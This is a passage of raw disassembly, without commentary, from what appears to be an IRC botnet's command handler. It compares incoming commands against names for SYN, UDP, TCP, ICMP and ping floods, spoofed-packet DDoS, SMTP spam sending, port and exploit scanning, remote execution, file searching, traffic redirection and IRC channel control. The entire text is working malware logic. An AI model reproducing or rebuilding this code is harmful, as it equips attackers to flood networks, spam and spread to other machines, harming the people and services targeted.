[ebp+arg_4] call sub_418EA8 add esp, 0Ch test eax, eax jz short loc_405FB9 push offset unk_42B35C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FB9: ; CODE XREF: sub_401ACD+44E0j push offset unk_42B33C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FC3: ; CODE XREF: sub_401ACD+44B9j push edi push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FDB push [ebp+arg_0] push 4 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FDB: ; CODE XREF: sub_401ACD+4505j push edi push offset aPause ; "pause" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FF3 push [ebp+arg_0] push 5 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FF3: ; CODE XREF: sub_401ACD+451Dj push edi push offset aContinue ; "continue" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40600B push [ebp+arg_0] push 6 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_40600B: ; CODE XREF: sub_401ACD+4535j push edi push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406033 push [ebp+arg_0] push 1 loc_406021: ; CODE XREF: sub_401ACD+44C5j ; sub_401ACD+450Cj ... call sub_418C0E pop ecx pop ecx loc_406028: ; CODE XREF: sub_401ACD+459Fj ; sub_401ACD+4628j ... push eax push offset aS_1 ; "%s" jmp loc_406BEF ; --------------------------------------------------------------------------- loc_406033: ; CODE XREF: sub_401ACD+454Dj push edi push offset aShare ; "share" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40609B cmp [ebp+arg_18], ebx jz short loc_40606E cmp [ebp+var_8FC], bl jz short loc_406059 push ebx push [ebp+arg_18] push 1 jmp short loc_406064 ; --------------------------------------------------------------------------- loc_406059: ; CODE XREF: sub_401ACD+4582j push [ebp+esi+var_84] push [ebp+arg_18] push ebx loc_406064: ; CODE XREF: sub_401ACD+458Aj call sub_418FE5 add esp, 0Ch jmp short loc_406028 ; --------------------------------------------------------------------------- loc_40606E: ; CODE XREF: sub_401ACD+457Aj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4191DB add esp, 10h test eax, eax jz short loc_406091 push offset unk_42B2FC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406091: ; CODE XREF: sub_401ACD+45B8j push offset unk_42B2DC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40609B: ; CODE XREF: sub_401ACD+4575j push edi push offset aUser ; "user" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406127 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4060FA cmp [ebp+var_8FC], bl jz short loc_4060CD push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060CD: ; CODE XREF: sub_401ACD+45ECj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4060E9 push esi push eax push ebx jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_401ACD+4615j push ebx push eax push 2 loc_4060ED: ; CODE XREF: sub_401ACD+45FEj ; sub_401ACD+461Aj call sub_4192FC add esp, 18h jmp loc_406028 ; --------------------------------------------------------------------------- loc_4060FA: ; CODE XREF: sub_401ACD+45E4j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41982C add esp, 10h test eax, eax jz short loc_40611D push offset unk_42B2BC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40611D: ; CODE XREF: sub_401ACD+4644j push offset unk_42B29C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406127: ; CODE XREF: sub_401ACD+45DDj push edi push offset aSend ; "send" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406163 cmp [ebp+arg_18], ebx jz short loc_406159 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419AE0 add esp, 10h jmp loc_406028 ; --------------------------------------------------------------------------- loc_406159: ; CODE XREF: sub_401ACD+466Ej push offset unk_42B270 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406163: ; CODE XREF: sub_401ACD+4669j push offset unk_42B254 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40616D: ; CODE XREF: sub_401ACD+4462j push [ebp+arg_8] push offset aGethost ; "gethost" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D push [ebp+arg_8] push offset aGh ; "gh" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj ; sub_401ACD+3CC5j ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F75 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aAa ; "aa" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset aAction ; "action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aA ; "a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aCy ; "cy" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aM ; "m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aT3 ; "t3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aRp ; "rp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aDe ; "de" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aE ; "e" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aFf ; "ff" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aRename ; "rename" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aMv ; "mv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F75 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aC ; "c" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4066AE push 7Fh lea eax, [ebp+var_3280] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3200] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3180] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3100] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B3BA add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset word_41525A push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40669D loc_406687: ; CODE XREF: sub_401ACD+4BCEj cmp [ebp+var_3074], ebx jnz loc_403D46 push 32h nop call near ptr 26A068Bh jmp short loc_406687 ; --------------------------------------------------------------------------- loc_40669D: ; CODE XREF: sub_401ACD+4BB8j nop call near ptr 26B0669h push eax push offset unk_42B0E0 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSyn ; "syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4067DB push 7Fh lea eax, [ebp+var_36A8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3628] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_35A8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3528] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_34A0], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_36AC], esi push edi push offset dword_42B098 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B3BA add esp, 20h mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset word_4141B2 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4067CA loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj cmp [ebp+var_349C], ebx jnz loc_407196 push 32h call near ptr 26A068Bh nop jmp short loc_4067B4 ; --------------------------------------------------------------------------- loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j nop call near ptr 26B0669h push eax push offset dword_42B05C jmp loc_407187 ; --------------------------------------------------------------------------- loc_4067DB: ; CODE XREF: sub_401ACD+4C20j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aRd ; "rd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aScan ; "scan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aSc ; "sc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401F75 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aAd ; "ad" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aUdp ; "udp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aU ; "u" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aNs ; "ns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aP ; "p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aVnchost ; "vnchost" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406A5A push edi call sub_41B52C pop ecx lea eax, [ebp+var_2C4] push edi push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_401F75 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax jmp loc_4040AB ; --------------------------------------------------------------------------- loc_406A5A: ; CODE XREF: sub_401ACD+4F56j push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aEmail ; "email" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_406C36 lea eax, [ebp+var_46F0] push edi push eax call sub_41C890 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax call sub_41C890 push [ebp+arg_10] lea eax, [ebp+var_458C] push eax call sub_41C890 push offset asc_42CDC0 ; " " push offset dword_42B934 push [ebp+esi+var_7C] call sub_41843B push eax lea eax, [ebp+var_408C] push eax call sub_41C890 add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4CB944 lea eax, [ebp+var_46F0] push eax call dword_4CBA58 push 6 push 1 push 2 mov edi, eax call dword_4CBA54 push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB9D4 mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41C266 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB97C mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC lea eax, [ebp+var_448C] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4CBA24 push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC push esi call dword_4CBA6C call dword_4CB92C lea eax, [ebp+var_458C] push eax push offset unk_42AEFC loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj ; sub_401ACD+4561j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 loc_406BFB: ; CODE XREF: sub_401ACD+2431j add esp, 0Ch loc_406BFE: ; CODE XREF: sub_401ACD+4485j ; sub_401ACD+6575j ... cmp [ebp+var_8], ebx jnz short loc_406C1F push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_406C1F: ; CODE XREF: sub_401ACD+296Fj ; sub_401ACD+29C2j ... mov esi, [ebp+arg_24] loc_406C22: ; CODE XREF: sub_401ACD+6814j ; sub_401ACD+773Fj ... lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx mov eax, esi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_406C36: ; CODE XREF: sub_401ACD+4FCCj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406C60 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_407208 loc_406C60: ; CODE XREF: sub_401ACD+517Aj push [ebp+esi+var_7C] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41C159 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410ADC jmp loc_404085 ; --------------------------------------------------------------------------- loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej ; sub_401ACD+4FB5j mov esi, 80h push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 lea eax, [ebp+var_1358] push eax push offset aSyn ; "syn" call sub_41CA50 add esp, 14h test eax, eax jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aAck ; "ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aRandom_0 ; "random" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 push offset unk_42AEB4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_406CF1: ; CODE XREF: sub_401ACD+51EAj ; sub_401ACD+5201j ... push [ebp+arg_10] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406E1D push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_13D8] push [ebp+arg_18] push esi push eax call sub_41C360 push [ebp+arg_0] call sub_41C159 mov [ebp+var_1254], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406D8E mov eax, offset aNormal ; "Normal" loc_406D8E: ; CODE XREF: sub_401ACD+52BAj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_42AE70 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset byte_4149C1 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406E0C loc_406DF6: ; CODE XREF: sub_401ACD+533Dj cmp [ebp+var_1240], ebx jnz loc_4081AD push 32h call near ptr 26A068Bh nop jmp short loc_406DF6 ; --------------------------------------------------------------------------- loc_406E0C: ; CODE XREF: sub_401ACD+5327j nop call near ptr 26B0669h push eax push offset unk_42AE38 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406E1D: ; CODE XREF: sub_401ACD+5235j push offset unk_42AE00 loc_406E22: ; CODE XREF: sub_401ACD+1FBEj ; sub_401ACD+1FD4j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_4081AD ; --------------------------------------------------------------------------- loc_406E35: ; CODE XREF: sub_401ACD+4F11j ; sub_401ACD+4F28j ... cmp dword_4CBAC4, ebx jnz loc_406F44 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_1010], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_100C], eax call sub_41C159 push 7Fh mov [ebp+var_1008], eax push [ebp+var_88] lea eax, [ebp+var_1110] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_1008] push [ebp+var_100C] push eax lea eax, [ebp+var_2C4] push [ebp+var_1010] push offset unk_42ADB8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B3BA add esp, 24h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset dword_413E10 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406F33 loc_406F1D: ; CODE XREF: sub_401ACD+5464j cmp [ebp+var_FF4], ebx jnz loc_4081AD push 32h nop call near ptr 26A068Bh jmp short loc_406F1D ; --------------------------------------------------------------------------- loc_406F33: ; CODE XREF: sub_401ACD+544Ej nop call near ptr 26B0669h push eax push offset unk_42AD80 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406F44: ; CODE XREF: sub_401ACD+536Ej push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BFD0 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j ; sub_401ACD+4EFAj push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push [ebp+arg_0] push offset unk_42AD2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_18] mov edi, eax call sub_41B9C0 push [ebp+arg_20] add edi, eax call sub_41B9C0 push [ebp+arg_8] add edi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_10] lea eax, [eax+edi+7] push eax call sub_41C2E0 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41C159 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_1C], ebx jle short loc_407059 loc_406FE2: ; CODE XREF: sub_401ACD+5539j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_418AF1 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_40700A cmp eax, ebx jnz short loc_407029 inc [ebp+arg_1C] mov eax, [ebp+arg_1C] cmp eax, [ebp+arg_14] jl short loc_406FE2 jmp short loc_407062 ; --------------------------------------------------------------------------- loc_40700A: ; CODE XREF: sub_401ACD+552Aj push ebx push [ebp+var_4] push offset unk_42ACF4 loc_407013: ; CODE XREF: sub_401ACD+559Ej push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_407208 ; --------------------------------------------------------------------------- loc_407029: ; CODE XREF: sub_401ACD+552Ej push [ebp+arg_20] lea eax, [ebp+var_2C4] push offset unk_42ACC0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407059: ; CODE XREF: sub_401ACD+5513j cmp [ebp+arg_20], ebx jnz loc_407208 loc_407062: ; CODE XREF: sub_401ACD+553Bj push ebx push [ebp+var_4] push offset unk_42AC8C jmp short loc_407013 ; --------------------------------------------------------------------------- loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej ; sub_401ACD+4EB5j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_C68], eax mov eax, [ebp+var_4] loc_40707B: ; DATA XREF: ___:004330E0o ; ___:004330F4o ... mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_C80], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_C7C], eax call sub_41C159 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_4070D2 push esi call sub_41C159 pop ecx mov [ebp+var_C74], eax jmp short loc_4070D8 ; --------------------------------------------------------------------------- loc_4070D2: ; CODE XREF: sub_401ACD+55F4j mov [ebp+var_C74], ebx loc_4070D8: ; CODE XREF: sub_401ACD+5603j push 7Fh lea eax, [ebp+var_D80] push [ebp+var_88] push eax call sub_41BFD0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C78] push [ebp+var_C7C] push eax lea eax, [ebp+var_2C4] push [ebp+var_C80] push offset unk_42AC44 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B3BA add esp, 24h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset dword_413F9C push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40717B loc_407169: ; CODE XREF: sub_401ACD+56ACj cmp [ebp+var_C64], ebx jnz short loc_407196 push 32h call near ptr 26A068Bh nop jmp short loc_407169 ; --------------------------------------------------------------------------- loc_40717B: ; CODE XREF: sub_401ACD+569Aj call near ptr 26B0669h nop push eax push offset unk_42AC0C loc_407187: ; CODE XREF: sub_401ACD+4D09j ; sub_401ACD+61E0j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_407196: ; CODE XREF: sub_401ACD+4CEDj ; sub_401ACD+56A2j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push [ebp+var_4] loc_4071A3: ; CODE XREF: sub_401ACD+2284j lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4081CA ; --------------------------------------------------------------------------- loc_4071B6: ; CODE XREF: sub_401ACD+4E70j ; sub_401ACD+4E87j push 0Bh call sub_40B602 push [ebp+arg_18] mov [ebp+arg_1C], eax call sub_41C159 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 320h jle loc_407381 push [ebp+arg_1C] 